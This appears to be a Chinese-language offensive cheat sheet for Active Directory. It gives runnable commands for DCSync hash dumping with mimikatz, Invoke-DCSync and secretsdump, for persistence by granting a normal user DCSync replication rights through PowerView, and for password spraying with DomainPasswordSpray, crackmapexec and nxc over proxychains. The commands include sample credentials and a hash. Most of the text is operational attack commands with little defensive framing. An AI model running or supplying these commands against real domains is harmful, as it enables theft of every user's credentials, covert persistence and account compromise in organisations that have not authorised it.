Dumping
DCSync
DCSync(domain Controller synchronization)是指在域树或者域森林中,不同的DC之间,每隔15分钟会进行一次域数据的同步。比如当一个辅助域控想从主域控获取数据时,辅助域控会利用 DRS(Directory Replication Service) 协议向主域控发起一个 IDL_DRSGetNCChanges 请求,请求的数据包括需要同步的数据
目录复制服务(DRS)远程协议是一种 RPC 协议,用于在 Active Directory 中复制和管理数据。该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成,每个 drsuapi 方法的名称以 IDL_DRS 开头,而每个 dsaop 方法的名称以 IDL_DSA 开头
DCSync 就是利用的这个原理,通过 DRS(Directory Replication Service) 服务的 GetNCChanges 接口向域控发起数据同步请求,以此来导出域内所有用户hash
利用条件
要进行DCSync则必须要能够运行DRS服务,通常以下用户组可以运行DRS服务
1 2 3 4
| DC本地Administrators组内的用户 Domain Admins组内的用户 Enterprise Admins组内的用户 域控制器的计算机帐户
|
需要的ACL:(以上组内的成员默认有这些权限)
1 2
| DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
|
默认情况下,DCSync 攻击的对象如果是只读域控制器(RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的
导出域内hash
mimikatz
1 2 3 4 5 6
| mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
|
Invoke-DCSync.ps1
1 2 3
| import-Module .\Invoke-DCSync.ps1 Invoke-DCSync Invoke-DCSync -DumpForest | ft -wrap -autosize
|
secretsdump.py
1 2
| python3 secretsdump.py test/admin:www123456#@192.168.189.128 -dc-ip 192.168.189.128 python3 secretsdump.py 'test.com/admin@dc.test.com' -hashes :6dfad00b946adf3479fba71beeb5e4ac
|
关于445端口
- DCSync 协议本身不依赖 445 端口,但某些工具实现(如impacket中的secretsdump.py)会用到 445 端口
- 如果用 mimikatz 等工具,445 端口不是必须的,只要 RPC/LDAP 相关端口开放即可。当445 端口被禁用时,DCSync 依然可以通过 RPC 端口(135+高位端口)实现,推荐使用 Mimikatz,只要 RPC 通信不被阻断,DCSync 就能成功
- 有杀软的情况可以考虑使用impacket中的secretsdump
权限维持
向域内的一个普通用户添加上面提到的两条ACL,该用户即可获得利用DCSync导出域内所有用户hash的权限
实现代码:Powerview Add-DomainObjectAcl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Set-ExecutionPolicy Bypass -Scope Process import-module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"} Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"
|
暴力破解
密码喷洒 (Password Spraying)
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒
1 2
| Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password <密码>
|
参数:
1 2 3 4 5 6 7 8
| Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
UserList - 可选的 UserList 参数。如果未指定,则会自动生成。 Password - 将使用一个密码来执行密码喷洒。 PasswordList - 每行一个密码列表,用于密码喷洒(要非常小心,不要锁定帐户)。 OutFile - 输出结果的文件。 Domain - 一个可以喷洒的域。 Force - 强制继续喷涂而不提示确认。
|
或者可以利用kali中的CrackMapExec(CME)或者nxc来进行喷洒密码
1 2
| proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null proxychains4 -q nxc rdp 172.22.8.0/24 -u user.txt -p pass.txt --no-bruteforce
|

参考文章:
dcsync